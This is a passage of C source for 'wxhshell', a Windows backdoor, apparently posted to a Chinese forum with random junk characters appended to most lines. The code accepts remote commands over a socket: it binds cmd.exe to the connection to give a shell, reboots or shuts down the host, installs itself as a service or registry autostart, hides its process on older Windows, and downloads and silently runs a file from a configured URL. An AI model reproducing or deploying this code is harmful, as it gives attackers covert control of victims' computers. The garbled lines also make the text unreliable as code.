  // 帮助 s(Gs?6}>T  
  case '?': { 02[m{a-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :]F66dh+  
    break; WcSvw  
  } "t^RZ45  
  // 安装 f4.jWBF  
  case 'i': { "$(D7yFO  
    if(Install()) D6@ c|O{Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pJ8F+`*  
    else v]on0Pi!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #n+u>x.O  
    break; iYT?6Y|+  
    } )tJaw#Mih  
  // 卸载 !Ltx2CB2]  
  case 'r': { s) s9Z,HY  
    if(Uninstall()) uVD^X*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Pd9&/Y  
    else p%*s3E1.D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dh6kj-^;Cf  
    break; &AxtSIpucP  
    } SW}Rkr\e  
  // 显示 wxhshell 所在路径 /_J{JGp9  
  case 'p': { rWJ5C\R  
    char svExeFile[MAX_PATH]; o?/H<k\5  
    strcpy(svExeFile,"\n\r"); {jYVA~.|Z  
      strcat(svExeFile,ExeFile); B<BS^waU  
        send(wsh,svExeFile,strlen(svExeFile),0); 0/DO"pnL@  
    break; Ng;?hTw  
    } jG&HPVr  
  // 重启 !l#aq\:}~e  
  case 'b': { 3S_H&>K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pJe!~eyHm  
    if(Boot(REBOOT)) S+.>{0!S"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ig!0 A}f  
    else { zMpvS rc  
    closesocket(wsh); t=}]4&Yp  
    ExitThread(0); rZ(#t{]=!  
    } .zdaY, U  
    break; hx@@[sKF7  
    } "__)RHH:8  
  // 关机 u0+F2+ I  
  case 'd': { L;*7p9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %-fXa2  
    if(Boot(SHUTDOWN)) kdGq\k,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^C~_}/cZ  
    else { Xa>'DO2  
    closesocket(wsh); 'vt Jl  
    ExitThread(0); ygja{W.  
    } RTd,bi*  
    break; -`Z!p  
    } ;k@]"&t  
  // 获取shell ^bPpcm=  
  case 's': { 2jhJXM=~  
    CmdShell(wsh); NGi)Lh|  
    closesocket(wsh); +UOVD:G  
    ExitThread(0); 4Dzg r,V  
    break; P4yUm(@  
  } Ms5qQ<0v_  
  // 退出 $ s1/Rmw  
  case 'x': { ]pB5cq7o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q,7W,<-  
    CloseIt(wsh);  whw+  
    break; m.ka%h$  
    } Q'=7#_  
  // 离开 gp$]0~[tO  
  case 'q': { 0OG 3#pE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )skpf%g  
    closesocket(wsh); 71E~~$  
    WSACleanup(); 0s//&'*Q  
    exit(1); $'>iNMtK{p  
    break; o` QH8  
        }  I*f@^(  
  } >3b< Fq$  
  } z"|jCdZGM  
56kqG}mg&  
  // 提示信息 iu<Tv,{8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m#[c]v{  
} LrO[l0#'Q  
  } 6:}n}q,V  
aUa+]H[  
  return; rkWy3X{%2<  
} 7]?y _%kT  
<f}:YDY'  
// shell模块句柄 dEMv9"`*!  
int CmdShell(SOCKET sock) `x?_yogPM  
{ eV(.\Lj  
STARTUPINFO si; =os!^{p7>  
ZeroMemory(&si,sizeof(si)); X)j%v\#`U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )O*h79t^Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y[Dgyt  
PROCESS_INFORMATION ProcessInfo;  s=:LS  
char cmdline[]="cmd"; OB=bRLd.IR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZR=i*y  
  return 0; @mu{*. &  
} z"  z$.c  
G2n. NW#d4  
// 自身启动模式 5FB3w48  
int StartFromService(void) yMkR)HY  
{  \>"Zn7  
typedef struct X xwcvE  
{ cCZ$TH  
  DWORD ExitStatus; #sF#<nHZ  
  DWORD PebBaseAddress; ->{\7|^  
  DWORD AffinityMask; 9k62_]w@6  
  DWORD BasePriority; 9i_@3OVl  
  ULONG UniqueProcessId; IY!.j5q8  
  ULONG InheritedFromUniqueProcessId; "UY34a^I  
}   PROCESS_BASIC_INFORMATION;  nXy"  
n87Uf$  
PROCNTQSIP NtQueryInformationProcess; s+ *LVfau  
mV"F<G; H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v#g:]T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U . <c#S  
J<"Z6 '0v  
  HANDLE             hProcess; &a\w+  
  PROCESS_BASIC_INFORMATION pbi; Zd-QZ<c";t  
3zfiegY@wm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~3Qa-s;g  
  if(NULL == hInst ) return 0; leSBR,C  
*h?}~!AjY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cRag0.[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h0 %M+g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A$\/D2S7!  
`;R$Ji=>  
  if (!NtQueryInformationProcess) return 0; _a$5"  
\zA3H$Df~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ia.+<, $`S  
  if(!hProcess) return 0; 7?_g m>]a  
fK(:vwh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v'`qn  
})mD{c/  
  CloseHandle(hProcess); F!I9)PSj  
Y nTx)uW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?a, `{1m0\  
if(hProcess==NULL) return 0; QDK }e:4q  
GX.a!XQ@!  
HMODULE hMod; eA(FWO  
char procName[255]; pK>/c>de  
unsigned long cbNeeded; j{t r''yN  
U CFw+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ':\bn:;  
PK{FQ3b2{  
  CloseHandle(hProcess); |a\,([aU  
R5},E  
if(strstr(procName,"services")) return 1; // 以服务启动 6khm@}}  
_-v$fDrz  
  return 0; // 注册表启动 XTb .cqOC  
} >)>~S_u  
,&O&h2=  
// 主模块 TEK#AR  
int StartWxhshell(LPSTR lpCmdLine) //$^~} wt  
{ w 17{2']  
  SOCKET wsl; "yU<X\n i  
BOOL val=TRUE;  )iPU   
  int port=0; /bC@^Y&}  
  struct sockaddr_in door; ja{x}n*5  
}Vm'0  
  if(wscfg.ws_autoins) Install(); ZWB3R  
8_rd1:t5  
port=atoi(lpCmdLine); jW| ,5,43  
.o<9[d"  
if(port<=0) port=wscfg.ws_port; p[!9objU  
4q@[k: '  
  WSADATA data; I.2>d_^<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q"LlBp>t|#  
_$}@hD*R~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0@&;JMh6<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^d9o \  
  door.sin_family = AF_INET; !.q#X^@>L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wv%UsfD  
  door.sin_port = htons(port); ph ~#{B(\  
d(Yuz#Qcrh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IMy!8$\u  
closesocket(wsl); "zIQ(|TL?d  
return 1; )4YtdAV  
} `+Mva  
kZ^wc .  
  if(listen(wsl,2) == INVALID_SOCKET) { UG]5Dxk  
closesocket(wsl); W,t`DMC  
return 1; yS#D$q2_  
} vL;=qk TCQ  
  Wxhshell(wsl); z3fU|*_c  
  WSACleanup(); TPZ^hL>ao  
ufA0H J)Yg  
return 0; 7Z81+I|&8  
i Nn?G C>  
} J,`I>^G  
4J[csU  
// 以NT服务方式启动 Pn}oSCo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xaIe7.Z"xo  
{ ciPq@kMV  
DWORD   status = 0; FlH=Pqc  
  DWORD   specificError = 0xfffffff; T(kG"dz   
p|)j{nc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Q lb].td  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ) d=&X|S>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C*Y0GfW=  
  serviceStatus.dwWin32ExitCode     = 0; 'GZ,  
  serviceStatus.dwServiceSpecificExitCode = 0; cyI:dvg  
  serviceStatus.dwCheckPoint       = 0; ~~,#<g[  
  serviceStatus.dwWaitHint       = 0; Y$ ZDJNz  
3KKq1][  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &e4EZ  
  if (hServiceStatusHandle==0) return; AeW_W0j  
Xu{S4#1  
status = GetLastError(); yyjgPbLN=  
  if (status!=NO_ERROR) 61z^(F$@  
{ z8PV&o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W%#LHluP  
    serviceStatus.dwCheckPoint       = 0; Q>/[*(.Wd  
    serviceStatus.dwWaitHint       = 0; %BkPkQA  
    serviceStatus.dwWin32ExitCode     = status; C9`x"$  
    serviceStatus.dwServiceSpecificExitCode = specificError; s:sk`~2<gd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ).r04)/  
    return; g$Ns u:L  
  } ;q2e[y  
z-kB!~r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !wjD6 NK  
  serviceStatus.dwCheckPoint       = 0; 8qq'q"g  
  serviceStatus.dwWaitHint       = 0; 4?7OP t6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O~F8lQ  
} %e=UYBj"  
 Y}Nd2  
// 处理NT服务事件,比如:启动、停止 ?uE@C3 e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1ZfhDtK(  
{ @IBU{{  
switch(fdwControl) 1,sD'iNb  
{ @0%^\Qf2  
case SERVICE_CONTROL_STOP: TUR2|J@n  
  serviceStatus.dwWin32ExitCode = 0; &PEw8: TX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eJZt&|7N  
  serviceStatus.dwCheckPoint   = 0; )G$0:-J-  
  serviceStatus.dwWaitHint     = 0; M7AUY#)  
  { !r_2b! dy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t. kOR<  
  } myWa>Mvb  
  return; (w, Gv-S  
case SERVICE_CONTROL_PAUSE: >Co5_sCe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;e ^`r;]  
  break; iD!]I$  
case SERVICE_CONTROL_CONTINUE: 2-u9%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bf6\KI<V2  
  break; 'uF"O"*  
case SERVICE_CONTROL_INTERROGATE: E`UEl$($  
  break; nOUF<DNQ  
}; !\1Pu|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O<qo%fP  
} 6y)NH 8l7  
RD'i(szi?  
// 标准应用程序主函数 O8w|!$Q.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G9a6 $K)b  
{ {rZ )!  
Ha20g/ UN.  
// 获取操作系统版本 ^e WD4Vp|4  
OsIsNt=GetOsVer(); K<ok1g'0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \@:mq]Y  
LD)P. f  
  // 从命令行安装 xw&N[ y5  
  if(strpbrk(lpCmdLine,"iI")) Install(); {vAv ;m  
THDyb9_g  
  // 下载执行文件 dht*1i3v  
if(wscfg.ws_downexe) { g%f6D%d)A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <>6DPHg~  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6J%yo[A(w  
} [>U =P`  
NYp46;  
if(!OsIsNt) { 3n=ftkI  
// 如果时win9x,隐藏进程并且设置为注册表启动 .uu[MzMIu  
HideProc(); XSz)$9~hk  
StartWxhshell(lpCmdLine); ~i/K7qZ  
} xsdi\ j;n>  
else 0:4w@"Q  
  if(StartFromService()) qEV>$>}  
  // 以服务方式启动 VTvNn  
  StartServiceCtrlDispatcher(DispatchTable); a/H|/CB 3  
else rnTjw "%  
  // 普通方式启动 \ POQeZ  
  StartWxhshell(lpCmdLine); X=i",5;  
]B r 6!U4~  
return 0; g\lEdxm6Sj  
}
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只看该作者 1 发表于: 2006-10-10
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